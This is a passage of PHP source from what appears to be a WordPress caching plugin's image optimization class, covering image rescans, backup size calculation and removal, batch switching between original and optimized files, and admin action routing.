foreach ($list as $v) { $meta_value = $this->_parse_wp_meta_value($v); if (!$meta_value) { continue; } $scanned_list[] = array( 'pid' => $v->post_id, 'meta' => $meta_value, ); $pid_set[] = $v->post_id; } // Build gathered images $q = "SELECT src, post_id FROM `$this->_table_img_optm` WHERE post_id IN (" . implode(',', array_fill(0, count($pid_set), '%d')) . ')'; $list = $wpdb->get_results($wpdb->prepare($q, $pid_set)); foreach ($list as $v) { $this->_existed_src_list[] = $v->post_id . '.' . $v->src; } // Find new images foreach ($scanned_list as $v) { $meta_value = $v['meta']; // Parse all child src and put them into $this->_img_in_queue, missing ones to $this->_img_in_queue_missed $this->tmp_pid = $v['pid']; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_append_img_queue($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_append_img_queue'), $meta_value['sizes']); } } self::debug('rescanned [img] ' . count($this->_img_in_queue)); $count = count($this->_img_in_queue); if ($count > 0) { // Save to DB $this->_save_raw(); } if ($to_be_continued) { return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_RESCAN); } $msg = $count ? sprintf(__('Rescanned %d images successfully.', 'litespeed-cache'), $count) : __('Rescanned successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Calculate bkup original images storage * * @since 2.2.6 * @access private */ private function _calc_bkup() { global $wpdb; $offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0; $limit = 500; if (!$offset) { $this->_summary['bk_summary'] = array( 'date' => time(), 'count' => 0, 'sum' => 0, ); } $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; $q = $wpdb->prepare($img_q, array($offset * $limit, $limit)); $list = $wpdb->get_results($q); foreach ($list as $v) { if (!$v->post_id) { continue; } $meta_value = $this->_parse_wp_meta_value($v); if (!$meta_value) { continue; } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_get_bk_size($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_get_bk_size'), $meta_value['sizes']); } } $this->_summary['bk_summary']['date'] = time(); self::save_summary(); self::debug('_calc_bkup total: ' . $this->_summary['bk_summary']['count'] . ' [size] ' . $this->_summary['bk_summary']['sum']); $offset++; $to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array($offset * $limit, 1))); if ($to_be_continued) { return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_CALC_BKUP); } $msg = __('Calculated backups successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Calculate single size */ private function _get_bk_size($meta_value, $is_ori_file = false) { $short_file_path = $meta_value['file']; if (!$is_ori_file) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo($short_file_path, PATHINFO_EXTENSION); $local_filename = substr($short_file_path, 0, -strlen($extension) - 1); $bk_file = $local_filename . '.bk.' . $extension; $img_info = $this->__media->info($bk_file, $this->tmp_pid); if (!$img_info) { return; } $this->_summary['bk_summary']['count']++; $this->_summary['bk_summary']['sum'] += $img_info['size']; } /** * Delete bkup original images storage * * @since 2.5 * @access public */ public function rm_bkup() { global $wpdb; if (!$this->__data->tb_exist('img_optming')) { return; } $offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0; $limit = 500; if (empty($this->_summary['rmbk_summary'])) { $this->_summary['rmbk_summary'] = array( 'date' => time(), 'count' => 0, 'sum' => 0, ); } $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; $q = $wpdb->prepare($img_q, array($offset * $limit, $limit)); $list = $wpdb->get_results($q); foreach ($list as $v) { if (!$v->post_id) { continue; } $meta_value = $this->_parse_wp_meta_value($v); if (!$meta_value) { continue; } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_del_bk_file($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_del_bk_file'), $meta_value['sizes']); } } $this->_summary['rmbk_summary']['date'] = time(); self::save_summary(); self::debug('rm_bkup total: ' . $this->_summary['rmbk_summary']['count'] . ' [size] ' . $this->_summary['rmbk_summary']['sum']); $offset++; $to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array($offset * $limit, 1))); if ($to_be_continued) { return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_RM_BKUP); } $msg = __('Removed backups successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Delete single file */ private function _del_bk_file($meta_value, $is_ori_file = false) { $short_file_path = $meta_value['file']; if (!$is_ori_file) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo($short_file_path, PATHINFO_EXTENSION); $local_filename = substr($short_file_path, 0, -strlen($extension) - 1); $bk_file = $local_filename . '.bk.' . $extension; $img_info = $this->__media->info($bk_file, $this->tmp_pid); if (!$img_info) { return; } $this->_summary['rmbk_summary']['count']++; $this->_summary['rmbk_summary']['sum'] += $img_info['size']; $this->__media->del($bk_file, $this->tmp_pid); } /** * Count images * * @since 1.6 * @access public */ public function img_count() { global $wpdb; $q = "SELECT count(*) FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') "; $groups_all = $wpdb->get_var($q); $groups_new = $wpdb->get_var($q . ' AND ID>' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID'); $groups_done = $wpdb->get_var($q . ' AND ID<=' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID'); $q = "SELECT b.post_id FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID DESC LIMIT 1 "; $max_id = $wpdb->get_var($q); $count_list = array( 'max_id' => $max_id, 'groups_all' => $groups_all, 'groups_new' => $groups_new, 'groups_done' => $groups_done, ); // images count from work table if ($this->__data->tb_exist('img_optming')) { $q = "SELECT COUNT(DISTINCT post_id),COUNT(*) FROM `$this->_table_img_optming` WHERE optm_status = %d"; $groups_to_check = array(self::STATUS_RAW, self::STATUS_REQUESTED, self::STATUS_NOTIFIED, self::STATUS_ERR_FETCH); foreach ($groups_to_check as $v) { $count_list['img.' . $v] = $count_list['group.' . $v] = 0; list($count_list['group.' . $v], $count_list['img.' . $v]) = $wpdb->get_row($wpdb->prepare($q, $v), ARRAY_N); } } return $count_list; } /** * Check if fetch cron is running * * @since 1.6.2 * @access public */ public function cron_running($bool_res = true) { $last_run = !empty($this->_summary['last_pull']) ? $this->_summary['last_pull'] : 0; $is_running = $last_run && time() - $last_run < 120; if ($bool_res) { return $is_running; } return array($last_run, $is_running); } /** * Update fetch cron timestamp tag * * @since 1.6.2 * @access private */ private function _update_cron_running($done = false) { $this->_summary['last_pull'] = time(); if ($done) { // Only update cron tag when its from the active running cron if ($this->_cron_ran) { // Rollback for next running $this->_summary['last_pull'] -= 120; } else { return; } } self::save_summary(); $this->_cron_ran = true; } /** * Batch switch images to ori/optm version * * @since 1.6.2 * @access public */ public function batch_switch($type) { global $wpdb; if (defined('LITESPEED_CLI') || defined('DOING_CRON')) { $offset = 0; while ($offset !== 'done') { Admin_Display::info("Starting switch to $type [offset] $offset"); $offset = $this->_batch_switch($type, $offset); } } else { $offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0; $newOffset = $this->_batch_switch($type, $offset); if ($newOffset !== 'done') { return Router::self_redirect(Router::ACTION_IMG_OPTM, $type); } } $msg = __('Switched images successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Switch images per offset */ private function _batch_switch($type, $offset) { global $wpdb; $limit = 500; $this->tmp_type = $type; $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; $q = $wpdb->prepare($img_q, array($offset * $limit, $limit)); $list = $wpdb->get_results($q); $i = 0; foreach ($list as $v) { if (!$v->post_id) { continue; } $meta_value = $this->_parse_wp_meta_value($v); if (!$meta_value) { continue; } $i++; $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_switch_bk_file($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_switch_bk_file'), $meta_value['sizes']); } } self::debug('batch switched images total: ' . $i . ' [type] ' . $type); $offset++; $to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array($offset * $limit, 1))); if ($to_be_continued) { return $offset; } return 'done'; } /** * Delete single file */ private function _switch_bk_file($meta_value, $is_ori_file = false) { $short_file_path = $meta_value['file']; if (!$is_ori_file) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo($short_file_path, PATHINFO_EXTENSION); $local_filename = substr($short_file_path, 0, -strlen($extension) - 1); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // self::debug('_switch_bk_file ' . $bk_file . ' [type] ' . $this->tmp_type); // switch to ori if ($this->tmp_type === self::TYPE_BATCH_SWITCH_ORI || $this->tmp_type == 'orig') { // self::debug('switch to orig ' . $bk_file); if (!$this->__media->info($bk_file, $this->tmp_pid)) { return; } $this->__media->rename($local_filename . '.' . $extension, $bk_optm_file, $this->tmp_pid); $this->__media->rename($bk_file, $local_filename . '.' . $extension, $this->tmp_pid); } // switch to optm elseif ($this->tmp_type === self::TYPE_BATCH_SWITCH_OPTM || $this->tmp_type == 'optm') { // self::debug('switch to optm ' . $bk_file); if (!$this->__media->info($bk_optm_file, $this->tmp_pid)) { return; } $this->__media->rename($local_filename . '.' . $extension, $bk_file, $this->tmp_pid); $this->__media->rename($bk_optm_file, $local_filename . '.' . $extension, $this->tmp_pid); } } /** * Switch image between original one and optimized one * * @since 1.6.2 * @access private */ private function _switch_optm_file($type) { Admin_Display::succeed(__('Switched to optimized file successfully.', 'litespeed-cache')); return; global $wpdb; $pid = substr($type, 4); $switch_type = substr($type, 0, 4); $q = "SELECT src,post_id FROM `$this->_table_img_optm` WHERE post_id = %d AND optm_status = %d"; $list = $wpdb->get_results($wpdb->prepare($q, array($pid, self::STATUS_PULLED))); $msg = 'Unknown Msg'; foreach ($list as $v) { // to switch webp file if ($switch_type === 'webp') { if ($this->__media->info($v->src . '.webp', $v->post_id)) { $this->__media->rename($v->src . '.webp', $v->src . '.optm.webp', $v->post_id); self::debug('Disabled WebP: ' . $v->src); $msg = __('Disabled WebP file successfully.', 'litespeed-cache'); } elseif ($this->__media->info($v->src . '.optm.webp', $v->post_id)) { $this->__media->rename($v->src . '.optm.webp', $v->src . '.webp', $v->post_id); self::debug('Enable WebP: ' . $v->src); $msg = __('Enabled WebP file successfully.', 'litespeed-cache'); } } // to switch original file else { $extension = pathinfo($v->src, PATHINFO_EXTENSION); $local_filename = substr($v->src, 0, -strlen($extension) - 1); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // revert ori back if ($this->__media->info($bk_file, $v->post_id)) { $this->__media->rename($v->src, $bk_optm_file, $v->post_id); $this->__media->rename($bk_file, $v->src, $v->post_id); self::debug('Restore original img: ' . $bk_file); $msg = __('Restored original file successfully.', 'litespeed-cache'); } elseif ($this->__media->info($bk_optm_file, $v->post_id)) { $this->__media->rename($v->src, $bk_file, $v->post_id); $this->__media->rename($bk_optm_file, $v->src, $v->post_id); self::debug('Switch to optm img: ' . $v->src); $msg = __('Switched to optimized file successfully.', 'litespeed-cache'); } } } Admin_Display::succeed($msg); } /** * Delete one optm data and recover original file * * @since 2.4.2 * @access public */ public function reset_row($post_id) { global $wpdb; if (!$post_id) { return; } // Gathered image don't have DB_SIZE info yet // $size_meta = get_post_meta( $post_id, self::DB_SIZE, true ); // if ( ! $size_meta ) { // return; // } self::debug('_reset_row [pid] ' . $post_id); # TODO: Load image sub files $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->postmeta` b WHERE b.post_id =%d AND b.meta_key = '_wp_attachment_metadata'"; $q = $wpdb->prepare($img_q, array($post_id)); $v = $wpdb->get_row($q); $meta_value = $this->_parse_wp_meta_value($v); if ($meta_value) { $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/'; $this->_destroy_optm_file($meta_value, true); if (!empty($meta_value['sizes'])) { array_map(array($this, '_destroy_optm_file'), $meta_value['sizes']); } } delete_post_meta($post_id, self::DB_SIZE); delete_post_meta($post_id, self::DB_SET); $msg = __('Reset the optimized data successfully.', 'litespeed-cache'); Admin_Display::succeed($msg); } /** * Show an image's optm status * * @since 1.6.5 * @access public */ public function check_img() { global $wpdb; $pid = $_POST['data']; self::debug('Check image [ID] ' . $pid); $data = array(); $data['img_count'] = $this->img_count(); $data['optm_summary'] = self::get_summary(); $data['_wp_attached_file'] = get_post_meta($pid, '_wp_attached_file', true); $data['_wp_attachment_metadata'] = get_post_meta($pid, '_wp_attachment_metadata', true); // Get img_optm data $q = "SELECT * FROM `$this->_table_img_optm` WHERE post_id = %d"; $list = $wpdb->get_results($wpdb->prepare($q, $pid)); $img_data = array(); if ($list) { foreach ($list as $v) { $img_data[] = array( 'id' => $v->id, 'optm_status' => $v->optm_status, 'src' => $v->src, 'srcpath_md5' => $v->srcpath_md5, 'src_md5' => $v->src_md5, 'server_info' => $v->server_info, ); } } $data['img_data'] = $img_data; return array('_res' => 'ok', 'data' => $data); } /** * Handle all request actions from main cls * * @since 2.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_RESET_ROW: $this->reset_row(!empty($_GET['id']) ? $_GET['id'] : false); break; case self::TYPE_CALC_BKUP: $this->_calc_bkup(); break; case self::TYPE_RM_BKUP: $this->rm_bkup(); break; case self::TYPE_NEW_REQ: $this->new_req(); break; case self::TYPE_RESCAN: $this->_rescan(); break; case self::TYPE_DESTROY: $this->_destroy(); break; case self::TYPE_CLEAN: $this->clean(); break; case self::TYPE_PULL: self::start_async(); break; case self::TYPE_BATCH_SWITCH_ORI: case self::TYPE_BATCH_SWITCH_OPTM: $this->batch_switch($type); break; case substr($type, 0, 4) === 'webp': case substr($type, 0, 4) === 'orig': $this->_switch_optm_file($type); break; default: break; } Admin::redirect(); } }